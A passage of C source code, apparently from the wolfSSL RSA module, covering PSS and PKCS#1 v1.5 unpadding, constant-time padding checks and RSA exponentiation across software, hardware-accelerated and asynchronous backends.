MEMORY_E; } #endif if ((ret = RsaMGF(mgf, pkcsBlock + maskLen, hLen, tmp, maskLen, heap)) != 0) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); return ret; } tmp[0] &= (1 << bits) - 1; pkcsBlock[0] &= (1 << bits) - 1; #ifdef WOLFSSL_PSS_SALT_LEN_DISCOVER if (saltLen == RSA_PSS_SALT_LEN_DISCOVER) { for (i = 0; i < maskLen - 1; i++) { if (tmp[i] != pkcsBlock[i]) { break; } } if (tmp[i] != (pkcsBlock[i] ^ 0x01)) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); WOLFSSL_MSG("RsaUnPad_PSS: Padding Error Match"); return PSS_SALTLEN_RECOVER_E; } saltLen = maskLen - (i + 1); } else #endif { for (i = 0; i < maskLen - 1 - saltLen; i++) { if (tmp[i] != pkcsBlock[i]) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); WOLFSSL_MSG("RsaUnPad_PSS: Padding Error Match"); return PSS_SALTLEN_E; } } if (tmp[i] != (pkcsBlock[i] ^ 0x01)) { XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); WOLFSSL_MSG("RsaUnPad_PSS: Padding Error End"); return PSS_SALTLEN_E; } } for (i++; i < maskLen; i++) pkcsBlock[i] ^= tmp[i]; #if !defined(WOLFSSL_NO_MALLOC) || defined(WOLFSSL_STATIC_MEMORY) XFREE(tmp, heap, DYNAMIC_TYPE_RSA_BUFFER); #endif *output = pkcsBlock + maskLen - saltLen; return saltLen + hLen; } #endif /* UnPad plaintext, set start to *output, return length of plaintext, * < 0 on error */ static int RsaUnPad(const byte *pkcsBlock, unsigned int pkcsBlockLen, byte **output, byte padValue) { int ret = BAD_FUNC_ARG; word16 i; #ifndef WOLFSSL_RSA_VERIFY_ONLY byte invalid = 0; #endif if (output == NULL || pkcsBlockLen < 2 || pkcsBlockLen > 0xFFFF) { return BAD_FUNC_ARG; } if (padValue == RSA_BLOCK_TYPE_1) { /* First byte must be 0x00 and Second byte, block type, 0x01 */ if (pkcsBlock[0] != 0 || pkcsBlock[1] != RSA_BLOCK_TYPE_1) { WOLFSSL_MSG("RsaUnPad error, invalid formatting"); return RSA_PAD_E; } /* check the padding until we find the separator */ for (i = 2; i < pkcsBlockLen && pkcsBlock[i++] == 0xFF; ) { } /* Minimum of 11 bytes of pre-message data and must have separator. */ if (i < RSA_MIN_PAD_SZ || pkcsBlock[i-1] != 0) { WOLFSSL_MSG("RsaUnPad error, bad formatting"); return RSA_PAD_E; } *output = (byte *)(pkcsBlock + i); ret = pkcsBlockLen - i; } #ifndef WOLFSSL_RSA_VERIFY_ONLY else { word16 j; word16 pastSep = 0; /* Decrypted with private key - unpad must be constant time. */ for (i = 0, j = 2; j < pkcsBlockLen; j++) { /* Update i if not passed the separator and at separator. */ i |= (~pastSep) & ctMask16Eq(pkcsBlock[j], 0x00) & (j + 1); pastSep |= ctMask16Eq(pkcsBlock[j], 0x00); } /* Minimum of 11 bytes of pre-message data - including leading 0x00. */ invalid |= ctMaskLT(i, RSA_MIN_PAD_SZ); /* Must have seen separator. */ invalid |= ~pastSep; /* First byte must be 0x00. */ invalid |= ctMaskNotEq(pkcsBlock[0], 0x00); /* Check against expected block type: padValue */ invalid |= ctMaskNotEq(pkcsBlock[1], padValue); *output = (byte *)(pkcsBlock + i); ret = ((int)~invalid) & (pkcsBlockLen - i); } #endif return ret; } /* helper function to direct unpadding * * bits is the key modulus size in bits */ int wc_RsaUnPad_ex(byte* pkcsBlock, word32 pkcsBlockLen, byte** out, byte padValue, int padType, enum wc_HashType hType, int mgf, byte* optLabel, word32 labelLen, int saltLen, int bits, void* heap) { int ret; switch (padType) { case WC_RSA_PKCSV15_PAD: /*WOLFSSL_MSG("wolfSSL Using RSA PKCSV15 un-padding");*/ ret = RsaUnPad(pkcsBlock, pkcsBlockLen, out, padValue); break; #ifndef WC_NO_RSA_OAEP case WC_RSA_OAEP_PAD: WOLFSSL_MSG("wolfSSL Using RSA OAEP un-padding"); ret = RsaUnPad_OAEP((byte*)pkcsBlock, pkcsBlockLen, out, hType, mgf, optLabel, labelLen, heap); break; #endif #ifdef WC_RSA_PSS case WC_RSA_PSS_PAD: WOLFSSL_MSG("wolfSSL Using RSA PSS un-padding"); ret = RsaUnPad_PSS((byte*)pkcsBlock, pkcsBlockLen, out, hType, mgf, saltLen, bits, heap); break; #endif #ifdef WC_RSA_NO_PADDING case WC_RSA_NO_PAD: WOLFSSL_MSG("wolfSSL Using NO un-padding"); /* In the case of no padding being used check that input is exactly * the RSA key length */ if (bits <= 0 || pkcsBlockLen != ((word32)(bits+WOLFSSL_BIT_SIZE-1)/WOLFSSL_BIT_SIZE)) { WOLFSSL_MSG("Bad input size"); ret = RSA_PAD_E; } else { if (out != NULL) { *out = pkcsBlock; } ret = pkcsBlockLen; } break; #endif /* WC_RSA_NO_PADDING */ default: WOLFSSL_MSG("Unknown RSA UnPad Type"); ret = RSA_PAD_E; } /* silence warning if not used with padding scheme */ (void)hType; (void)mgf; (void)optLabel; (void)labelLen; (void)saltLen; (void)bits; (void)heap; return ret; } #ifdef WC_RSA_NONBLOCK static int wc_RsaFunctionNonBlock(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key) { int ret = 0; word32 keyLen, len; if (key == NULL || key->nb == NULL) { return BAD_FUNC_ARG; } if (key->nb->exptmod.state == TFM_EXPTMOD_NB_INIT) { if (mp_init(&key->nb->tmp) != MP_OKAY) { ret = MP_INIT_E; } if (ret == 0) { if (mp_read_unsigned_bin(&key->nb->tmp, (byte*)in, inLen) != MP_OKAY) { ret = MP_READ_E; } } } if (ret == 0) { switch(type) { case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: ret = fp_exptmod_nb(&key->nb->exptmod, &key->nb->tmp, &key->d, &key->n, &key->nb->tmp); if (ret == FP_WOULDBLOCK) return ret; if (ret != MP_OKAY) ret = MP_EXPTMOD_E; break; case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: ret = fp_exptmod_nb(&key->nb->exptmod, &key->nb->tmp, &key->e, &key->n, &key->nb->tmp); if (ret == FP_WOULDBLOCK) return ret; if (ret != MP_OKAY) ret = MP_EXPTMOD_E; break; default: ret = RSA_WRONG_TYPE_E; break; } } if (ret == 0) { keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) ret = RSA_BUFFER_E; } if (ret == 0) { len = mp_unsigned_bin_size(&key->nb->tmp); /* pad front w/ zeros to match key length */ while (len < keyLen) { *out++ = 0x00; len++; } *outLen = keyLen; /* convert */ if (mp_to_unsigned_bin(&key->nb->tmp, out) != MP_OKAY) { ret = MP_TO_E; } } mp_clear(&key->nb->tmp); return ret; } #endif /* WC_RSA_NONBLOCK */ #ifdef WOLFSSL_XILINX_CRYPT /* * Xilinx hardened crypto acceleration. * * Returns 0 on success and negative values on error. */ static int wc_RsaFunctionSync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { int ret = 0; word32 keyLen; (void)rng; keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) { WOLFSSL_MSG("Output buffer is not big enough"); return BAD_FUNC_ARG; } if (inLen != keyLen) { WOLFSSL_MSG("Expected that inLen equals RSA key length"); return BAD_FUNC_ARG; } switch(type) { case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WOLFSSL_XILINX_CRYPTO_OLD /* Currently public exponent is loaded by default. * In SDK 2017.1 RSA exponent values are expected to be of 4 bytes * leading to private key operations with Xsecure_RsaDecrypt not being * supported */ ret = RSA_WRONG_TYPE_E; #else { byte *d; int dSz; XSecure_Rsa rsa; dSz = mp_unsigned_bin_size(&key->d); d = (byte*)XMALLOC(dSz, key->heap, DYNAMIC_TYPE_PRIVATE_KEY); if (d == NULL) { ret = MEMORY_E; } else { ret = mp_to_unsigned_bin(&key->d, d); XSecure_RsaInitialize(&rsa, key->mod, NULL, d); } if (ret == 0) { if (XSecure_RsaPrivateDecrypt(&rsa, (u8*)in, inLen, out) != XST_SUCCESS) { ret = BAD_STATE_E; } } if (d != NULL) { XFREE(d, key->heap, DYNAMIC_TYPE_PRIVATE_KEY); } } #endif break; case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: #ifdef WOLFSSL_XILINX_CRYPTO_OLD if (XSecure_RsaDecrypt(&(key->xRsa), in, out) != XST_SUCCESS) { ret = BAD_STATE_E; } #else /* starting at Xilinx release 2019 the function XSecure_RsaDecrypt was removed */ if (XSecure_RsaPublicEncrypt(&(key->xRsa), (u8*)in, inLen, out) != XST_SUCCESS) { WOLFSSL_MSG("Error happened when calling hardware RSA public operation"); ret = BAD_STATE_E; } #endif break; default: ret = RSA_WRONG_TYPE_E; } *outLen = keyLen; return ret; } #elif defined(WOLFSSL_AFALG_XILINX_RSA) #ifndef ERROR_OUT #define ERROR_OUT(x) ret = (x); goto done #endif static const char WC_TYPE_ASYMKEY[] = "skcipher"; static const char WC_NAME_RSA[] = "xilinx-zynqmp-rsa"; #ifndef MAX_XILINX_RSA_KEY /* max key size of 4096 bits / 512 bytes */ #define MAX_XILINX_RSA_KEY 512 #endif static const byte XILINX_RSA_FLAG[] = {0x1}; /* AF_ALG implementation of RSA */ static int wc_RsaFunctionSync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { struct msghdr msg; struct cmsghdr* cmsg; struct iovec iov; byte* keyBuf = NULL; word32 keyBufSz = 0; char cbuf[CMSG_SPACE(4) + CMSG_SPACE(sizeof(struct af_alg_iv) + 1)] = {0}; int ret = 0; int op = 0; /* decryption vs encryption flag */ word32 keyLen; /* input and output buffer need to be aligned */ ALIGN64 byte outBuf[MAX_XILINX_RSA_KEY]; ALIGN64 byte inBuf[MAX_XILINX_RSA_KEY]; XMEMSET(&msg, 0, sizeof(struct msghdr)); (void)rng; keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) { ERROR_OUT(RSA_BUFFER_E); } if (keyLen > MAX_XILINX_RSA_KEY) { WOLFSSL_MSG("RSA key size larger than supported"); ERROR_OUT(BAD_FUNC_ARG); } if ((keyBuf = (byte*)XMALLOC(keyLen * 2, key->heap, DYNAMIC_TYPE_KEY)) == NULL) { ERROR_OUT(MEMORY_E); } if ((ret = mp_to_unsigned_bin(&(key->n), keyBuf)) != MP_OKAY) { ERROR_OUT(MP_TO_E); } switch(type) { case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: op = 1; /* set as decrypt */ { keyBufSz = mp_unsigned_bin_size(&(key->d)); if ((mp_to_unsigned_bin(&(key->d), keyBuf + keyLen)) != MP_OKAY) { ERROR_OUT(MP_TO_E); } } break; case RSA_PUBLIC_DECRYPT: case RSA_PUBLIC_ENCRYPT: { word32 exp = 0; word32 eSz = mp_unsigned_bin_size(&(key->e)); if ((mp_to_unsigned_bin(&(key->e), (byte*)&exp + (sizeof(word32) - eSz))) != MP_OKAY) { ERROR_OUT(MP_TO_E); } keyBufSz = sizeof(word32); XMEMCPY(keyBuf + keyLen, (byte*)&exp, keyBufSz); break; } default: ERROR_OUT(RSA_WRONG_TYPE_E); } keyBufSz += keyLen; /* add size of modulus */ /* check for existing sockets before creating new ones */ if (key->alFd > 0) { close(key->alFd); key->alFd = WC_SOCK_NOTSET; } if (key->rdFd > 0) { close(key->rdFd); key->rdFd = WC_SOCK_NOTSET; } /* create new sockets and set the key to use */ if ((key->alFd = wc_Afalg_Socket()) < 0) { WOLFSSL_MSG("Unable to create socket"); ERROR_OUT(key->alFd); } if ((key->rdFd = wc_Afalg_CreateRead(key->alFd, WC_TYPE_ASYMKEY, WC_NAME_RSA)) < 0) { WOLFSSL_MSG("Unable to bind and create read/send socket"); ERROR_OUT(key->rdFd); } if ((ret = setsockopt(key->alFd, SOL_ALG, ALG_SET_KEY, keyBuf, keyBufSz)) < 0) { WOLFSSL_MSG("Error setting RSA key"); ERROR_OUT(ret); } msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); cmsg = CMSG_FIRSTHDR(&msg); if ((ret = wc_Afalg_SetOp(cmsg, op)) < 0) { ERROR_OUT(ret); } /* set flag in IV spot, needed for Xilinx hardware acceleration use */ cmsg = CMSG_NXTHDR(&msg, cmsg); if ((ret = wc_Afalg_SetIv(cmsg, (byte*)XILINX_RSA_FLAG, sizeof(XILINX_RSA_FLAG))) != 0) { ERROR_OUT(ret); } /* compose and send msg */ XMEMCPY(inBuf, (byte*)in, inLen); /* for alignment */ iov.iov_base = inBuf; iov.iov_len = inLen; msg.msg_iov = &iov; msg.msg_iovlen = 1; if ((ret = sendmsg(key->rdFd, &msg, 0)) <= 0) { ERROR_OUT(WC_AFALG_SOCK_E); } if ((ret = read(key->rdFd, outBuf, inLen)) <= 0) { ERROR_OUT(WC_AFALG_SOCK_E); } XMEMCPY(out, outBuf, ret); *outLen = keyLen; done: /* clear key data and free buffer */ if (keyBuf != NULL) { ForceZero(keyBuf, keyBufSz); } XFREE(keyBuf, key->heap, DYNAMIC_TYPE_KEY); if (key->alFd > 0) { close(key->alFd); key->alFd = WC_SOCK_NOTSET; } if (key->rdFd > 0) { close(key->rdFd); key->rdFd = WC_SOCK_NOTSET; } return ret; } #else static int wc_RsaFunctionSync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { #ifndef WOLFSSL_SP_MATH #ifdef WOLFSSL_SMALL_STACK mp_int* tmp; #ifdef WC_RSA_BLINDING mp_int* rnd; mp_int* rndi; #endif #else mp_int tmp[1]; #ifdef WC_RSA_BLINDING mp_int rnd[1], rndi[1]; #endif #endif int ret = 0; word32 keyLen = 0; #endif #ifdef WOLFSSL_HAVE_SP_RSA #ifndef WOLFSSL_SP_NO_2048 if (mp_count_bits(&key->n) == 2048) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WC_RSA_BLINDING if (rng == NULL) return MISSING_RNG_E; #endif #ifndef RSA_LOW_MEM if ((mp_count_bits(&key->p) == 1024) && (mp_count_bits(&key->q) == 1024)) { return sp_RsaPrivate_2048(in, inLen, &key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u, &key->n, out, outLen); } break; #else return sp_RsaPrivate_2048(in, inLen, &key->d, NULL, NULL, NULL, NULL, NULL, &key->n, out, outLen); #endif #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: return sp_RsaPublic_2048(in, inLen, &key->e, &key->n, out, outLen); } } #endif #ifndef WOLFSSL_SP_NO_3072 if (mp_count_bits(&key->n) == 3072) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WC_RSA_BLINDING if (rng == NULL) return MISSING_RNG_E; #endif #ifndef RSA_LOW_MEM if ((mp_count_bits(&key->p) == 1536) && (mp_count_bits(&key->q) == 1536)) { return sp_RsaPrivate_3072(in, inLen, &key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u, &key->n, out, outLen); } break; #else return sp_RsaPrivate_3072(in, inLen, &key->d, NULL, NULL, NULL, NULL, NULL, &key->n, out, outLen); #endif #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: return sp_RsaPublic_3072(in, inLen, &key->e, &key->n, out, outLen); } } #endif #ifdef WOLFSSL_SP_4096 if (mp_count_bits(&key->n) == 4096) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef WC_RSA_BLINDING if (rng == NULL) return MISSING_RNG_E; #endif #ifndef RSA_LOW_MEM if ((mp_count_bits(&key->p) == 2048) && (mp_count_bits(&key->q) == 2048)) { return sp_RsaPrivate_4096(in, inLen, &key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u, &key->n, out, outLen); } break; #else return sp_RsaPrivate_4096(in, inLen, &key->d, NULL, NULL, NULL, NULL, NULL, &key->n, out, outLen); #endif #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: return sp_RsaPublic_4096(in, inLen, &key->e, &key->n, out, outLen); } } #endif #endif /* WOLFSSL_HAVE_SP_RSA */ #ifdef WOLFSSL_SP_MATH (void)rng; WOLFSSL_MSG("SP Key Size Error"); return WC_KEY_SIZE_E; #else (void)rng; #ifdef WOLFSSL_SMALL_STACK tmp = (mp_int*)XMALLOC(sizeof(mp_int), key->heap, DYNAMIC_TYPE_RSA); if (tmp == NULL) return MEMORY_E; #ifdef WC_RSA_BLINDING rnd = (mp_int*)XMALLOC(sizeof(mp_int) * 2, key->heap, DYNAMIC_TYPE_RSA); if (rnd == NULL) { XFREE(tmp, key->heap, DYNAMIC_TYPE_RSA); return MEMORY_E; } rndi = rnd + 1; #endif /* WC_RSA_BLINDING */ #endif /* WOLFSSL_SMALL_STACK */ if (mp_init(tmp) != MP_OKAY) ret = MP_INIT_E; #ifdef WC_RSA_BLINDING if (ret == 0) { if (type == RSA_PRIVATE_DECRYPT || type == RSA_PRIVATE_ENCRYPT) { if (mp_init_multi(rnd, rndi, NULL, NULL, NULL, NULL) != MP_OKAY) { mp_clear(tmp); ret = MP_INIT_E; } } } #endif #ifndef TEST_UNPAD_CONSTANT_TIME if (ret == 0 && mp_read_unsigned_bin(tmp, (byte*)in, inLen) != MP_OKAY) ret = MP_READ_E; if (ret == 0) { switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: { #if defined(WC_RSA_BLINDING) && !defined(WC_NO_RNG) /* blind */ ret = mp_rand(rnd, get_digit_count(&key->n), rng); /* rndi = 1/rnd mod n */ if (ret == 0 && mp_invmod(rnd, &key->n, rndi) != MP_OKAY) ret = MP_INVMOD_E; /* rnd = rnd^e */ if (ret == 0 && mp_exptmod(rnd, &key->e, &key->n, rnd) != MP_OKAY) ret = MP_EXPTMOD_E; /* tmp = tmp*rnd mod n */ if (ret == 0 && mp_mulmod(tmp, rnd, &key->n, tmp) != MP_OKAY) ret = MP_MULMOD_E; #endif /* WC_RSA_BLINDING && !WC_NO_RNG */ #ifdef RSA_LOW_MEM /* half as much memory but twice as slow */ if (ret == 0 && mp_exptmod(tmp, &key->d, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; #else if (ret == 0) { #ifdef WOLFSSL_SMALL_STACK mp_int* tmpa; mp_int* tmpb = NULL; #else mp_int tmpa[1], tmpb[1]; #endif int cleara = 0, clearb = 0; #ifdef WOLFSSL_SMALL_STACK tmpa = (mp_int*)XMALLOC(sizeof(mp_int) * 2, key->heap, DYNAMIC_TYPE_RSA); if (tmpa != NULL) tmpb = tmpa + 1; else ret = MEMORY_E; #endif if (ret == 0) { if (mp_init(tmpa) != MP_OKAY) ret = MP_INIT_E; else cleara = 1; } if (ret == 0) { if (mp_init(tmpb) != MP_OKAY) ret = MP_INIT_E; else clearb = 1; } /* tmpa = tmp^dP mod p */ if (ret == 0 && mp_exptmod(tmp, &key->dP, &key->p, tmpa) != MP_OKAY) ret = MP_EXPTMOD_E; /* tmpb = tmp^dQ mod q */ if (ret == 0 && mp_exptmod(tmp, &key->dQ, &key->q, tmpb) != MP_OKAY) ret = MP_EXPTMOD_E; /* tmp = (tmpa - tmpb) * qInv (mod p) */ if (ret == 0 && mp_sub(tmpa, tmpb, tmp) != MP_OKAY) ret = MP_SUB_E; if (ret == 0 && mp_mulmod(tmp, &key->u, &key->p, tmp) != MP_OKAY) ret = MP_MULMOD_E; /* tmp = tmpb + q * tmp */ if (ret == 0 && mp_mul(tmp, &key->q, tmp) != MP_OKAY) ret = MP_MUL_E; if (ret == 0 && mp_add(tmp, tmpb, tmp) != MP_OKAY) ret = MP_ADD_E; #ifdef WOLFSSL_SMALL_STACK if (tmpa != NULL) #endif { if (cleara) mp_clear(tmpa); if (clearb) mp_clear(tmpb); #ifdef WOLFSSL_SMALL_STACK XFREE(tmpa, key->heap, DYNAMIC_TYPE_RSA); #endif } } /* tmpa/b scope */ #endif /* RSA_LOW_MEM */ #ifdef WC_RSA_BLINDING /* unblind */ if (ret == 0 && mp_mulmod(tmp, rndi, &key->n, tmp) != MP_OKAY) ret = MP_MULMOD_E; #endif /* WC_RSA_BLINDING */ break; } #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: if (mp_exptmod_nct(tmp, &key->e, &key->n, tmp) != MP_OKAY) ret = MP_EXPTMOD_E; break; default: ret = RSA_WRONG_TYPE_E; break; } } if (ret == 0) { keyLen = wc_RsaEncryptSize(key); if (keyLen > *outLen) ret = RSA_BUFFER_E; } #ifndef WOLFSSL_XILINX_CRYPT if (ret == 0) { *outLen = keyLen; if (mp_to_unsigned_bin_len(tmp, out, keyLen) != MP_OKAY) ret = MP_TO_E; } #endif #else (void)type; (void)key; (void)keyLen; XMEMCPY(out, in, inLen); *outLen = inLen; #endif mp_clear(tmp); #ifdef WOLFSSL_SMALL_STACK XFREE(tmp, key->heap, DYNAMIC_TYPE_RSA); #endif #ifdef WC_RSA_BLINDING if (type == RSA_PRIVATE_DECRYPT || type == RSA_PRIVATE_ENCRYPT) { mp_clear(rndi); mp_clear(rnd); } #ifdef WOLFSSL_SMALL_STACK XFREE(rnd, key->heap, DYNAMIC_TYPE_RSA); #endif #endif /* WC_RSA_BLINDING */ return ret; #endif /* WOLFSSL_SP_MATH */ } #endif #if defined(WOLFSSL_ASYNC_CRYPT) && defined(WC_ASYNC_ENABLE_RSA) static int wc_RsaFunctionAsync(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { int ret = 0; (void)rng; #ifdef WOLFSSL_ASYNC_CRYPT_TEST if (wc_AsyncTestInit(&key->asyncDev, ASYNC_TEST_RSA_FUNC)) { WC_ASYNC_TEST* testDev = &key->asyncDev.test; testDev->rsaFunc.in = in; testDev->rsaFunc.inSz = inLen; testDev->rsaFunc.out = out; testDev->rsaFunc.outSz = outLen; testDev->rsaFunc.type = type; testDev->rsaFunc.key = key; testDev->rsaFunc.rng = rng; return WC_PENDING_E; } #endif /* WOLFSSL_ASYNC_CRYPT_TEST */ switch(type) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY case RSA_PRIVATE_DECRYPT: case RSA_PRIVATE_ENCRYPT: #ifdef HAVE_CAVIUM key->dataLen = key->n.raw.len; ret = NitroxRsaExptMod(in, inLen, key->d.raw.buf, key->d.raw.len, key->n.raw.buf, key->n.raw.len, out, outLen, key); #elif defined(HAVE_INTEL_QA) #ifdef RSA_LOW_MEM ret = IntelQaRsaPrivate(&key->asyncDev, in, inLen, &key->d.raw, &key->n.raw, out, outLen); #else ret = IntelQaRsaCrtPrivate(&key->asyncDev, in, inLen, &key->p.raw, &key->q.raw, &key->dP.raw, &key->dQ.raw, &key->u.raw, out, outLen); #endif #else /* WOLFSSL_ASYNC_CRYPT_TEST */ ret = wc_RsaFunctionSync(in, inLen, out, outLen, type, key, rng); #endif break; #endif case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: #ifdef HAVE_CAVIUM key->dataLen = key->n.raw.len; ret = NitroxRsaExptMod(in, inLen, key->e.raw.buf, key->e.raw.len, key->n.raw.buf, key->n.raw.len, out, outLen, key); #elif defined(HAVE_INTEL_QA) ret = IntelQaRsaPublic(&key->asyncDev, in, inLen, &key->e.raw, &key->n.raw, out, outLen); #else /* WOLFSSL_ASYNC_CRYPT_TEST */ ret = wc_RsaFunctionSync(in, inLen, out, outLen, type, key, rng); #endif break; default: ret = RSA_WRONG_TYPE_E; } return ret; } #endif /* WOLFSSL_ASYNC_CRYPT && WC_ASYNC_ENABLE_RSA */ #if defined(WC_RSA_DIRECT) || defined(WC_RSA_NO_PADDING) /* Function that does the RSA operation directly with no padding. * * in buffer to do operation on * inLen length of input buffer * out buffer to hold results * outSz gets set to size of result buffer. Should be passed in as length * of out buffer. If the pointer "out" is null then outSz gets set to * the expected buffer size needed and LENGTH_ONLY_E gets returned. * key RSA key to use for encrypt/decrypt * type if using private or public key {RSA_PUBLIC_ENCRYPT, * RSA_PUBLIC_DECRYPT, RSA_PRIVATE_ENCRYPT, RSA_PRIVATE_DECRYPT} * rng wolfSSL RNG to use if needed * * returns size of result on success */ int wc_RsaDirect(byte* in, word32 inLen, byte* out, word32* outSz, RsaKey* key, int type, WC_RNG* rng) { int ret; if (in == NULL || outSz == NULL || key == NULL) { return BAD_FUNC_ARG; } /* sanity check on type of RSA operation */ switch (type) { case RSA_PUBLIC_ENCRYPT: case RSA_PUBLIC_DECRYPT: case RSA_PRIVATE_ENCRYPT: case RSA_PRIVATE_DECRYPT: break; default: WOLFSSL_MSG("Bad RSA type"); return BAD_FUNC_ARG; } if ((ret = wc_RsaEncryptSize(key)) < 0) { return BAD_FUNC_ARG; } if (inLen != (word32)ret) { WOLFSSL_MSG("Bad input length. Should be RSA key size"); return BAD_FUNC_ARG; } if (out == NULL) { *outSz = inLen; return LENGTH_ONLY_E; } switch (key->state) { case RSA_STATE_NONE: case RSA_STATE_ENCRYPT_PAD: case RSA_STATE_ENCRYPT_EXPTMOD: case RSA_STATE_DECRYPT_EXPTMOD: case RSA_STATE_DECRYPT_UNPAD: key->state = (type == RSA_PRIVATE_ENCRYPT || type == RSA_PUBLIC_ENCRYPT) ? RSA_STATE_ENCRYPT_EXPTMOD: RSA_STATE_DECRYPT_EXPTMOD; key->dataLen = *outSz; ret = wc_RsaFunction(in, inLen, out, &key->dataLen, type, key, rng); if (ret >= 0 || ret == WC_PENDING_E) { key->state = (type == RSA_PRIVATE_ENCRYPT || type == RSA_PUBLIC_ENCRYPT) ? RSA_STATE_ENCRYPT_RES: RSA_STATE_DECRYPT_RES; } if (ret < 0) { break; } FALL_THROUGH; case RSA_STATE_ENCRYPT_RES: case RSA_STATE_DECRYPT_RES: ret = key->dataLen; break; default: ret = BAD_STATE_E; } /* if async pending then skip cleanup*/ if (ret == WC_PENDING_E #ifdef WC_RSA_NONBLOCK || ret == FP_WOULDBLOCK #endif ) { return ret; } key->state = RSA_STATE_NONE; wc_RsaCleanup(key); return ret; } #endif /* WC_RSA_DIRECT || WC_RSA_NO_PADDING */ #if defined(WOLFSSL_CRYPTOCELL) static int cc310_RsaPublicEncrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { CRYSError_t ret = 0; CRYS_RSAPrimeData_t primeData; int modulusSize = wc_RsaEncryptSize(key); /* The out buffer must be at least modulus size bytes long. */ if (outLen < modulusSize) return BAD_FUNC_ARG; ret = CRYS_RSA_PKCS1v15_Encrypt(&wc_rndState, wc_rndGenVectFunc, &key->ctx.pubKey, &primeData, (byte*)in, inLen, out); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Encrypt failed"); return -1; } return modulusSize; } static int cc310_RsaPublicDecrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { CRYSError_t ret = 0; CRYS_RSAPrimeData_t primeData; uint16_t actualOutLen = outLen; ret = CRYS_RSA_PKCS1v15_Decrypt(&key->ctx.privKey, &primeData, (byte*)in, inLen, out, &actualOutLen); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Decrypt failed"); return -1; } return actualOutLen; } int cc310_RsaSSL_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, CRYS_RSA_HASH_OpMode_t mode) { CRYSError_t ret = 0; uint16_t actualOutLen = outLen*sizeof(byte); CRYS_RSAPrivUserContext_t contextPrivate; ret = CRYS_RSA_PKCS1v15_Sign(&wc_rndState, wc_rndGenVectFunc, &contextPrivate, &key->ctx.privKey, mode, (byte*)in, inLen, out, &actualOutLen); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Sign failed"); return -1; } return actualOutLen; } int cc310_RsaSSL_Verify(const byte* in, word32 inLen, byte* sig, RsaKey* key, CRYS_RSA_HASH_OpMode_t mode) { CRYSError_t ret = 0; CRYS_RSAPubUserContext_t contextPub; /* verify the signature in the sig pointer */ ret = CRYS_RSA_PKCS1v15_Verify(&contextPub, &key->ctx.pubKey, mode, (byte*)in, inLen, sig); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_PKCS1v15_Verify failed"); return -1; } return ret; } #endif /* WOLFSSL_CRYPTOCELL */ int wc_RsaFunction(const byte* in, word32 inLen, byte* out, word32* outLen, int type, RsaKey* key, WC_RNG* rng) { int ret = 0; if (key == NULL || in == NULL || inLen == 0 || out == NULL || outLen == NULL || *outLen == 0 || type == RSA_TYPE_UNKNOWN) { return BAD_FUNC_ARG; } #ifdef WOLF_CRYPTO_CB if (key->devId != INVALID_DEVID) { ret = wc_CryptoCb_Rsa(in, inLen, out, outLen, type, key, rng); if (ret != CRYPTOCB_UNAVAILABLE) return ret; /* fall-through when unavailable */ ret = 0; /* reset error code and try using software */ } #endif #ifndef TEST_UNPAD_CONSTANT_TIME #ifndef NO_RSA_BOUNDS_CHECK if (type == RSA_PRIVATE_DECRYPT && key->state == RSA_STATE_DECRYPT_EXPTMOD) { /* Check that 1 < in < n-1. (Requirement of 800-56B.) */ #ifdef WOLFSSL_SMALL_STACK mp_int* c; #else mp_int c[1]; #endif #ifdef WOLFSSL_SMALL_STACK c = (mp_int*)XMALLOC(sizeof(mp_int), key->heap, DYNAMIC_TYPE_RSA); if (c == NULL) ret = MEMORY_E; #endif if 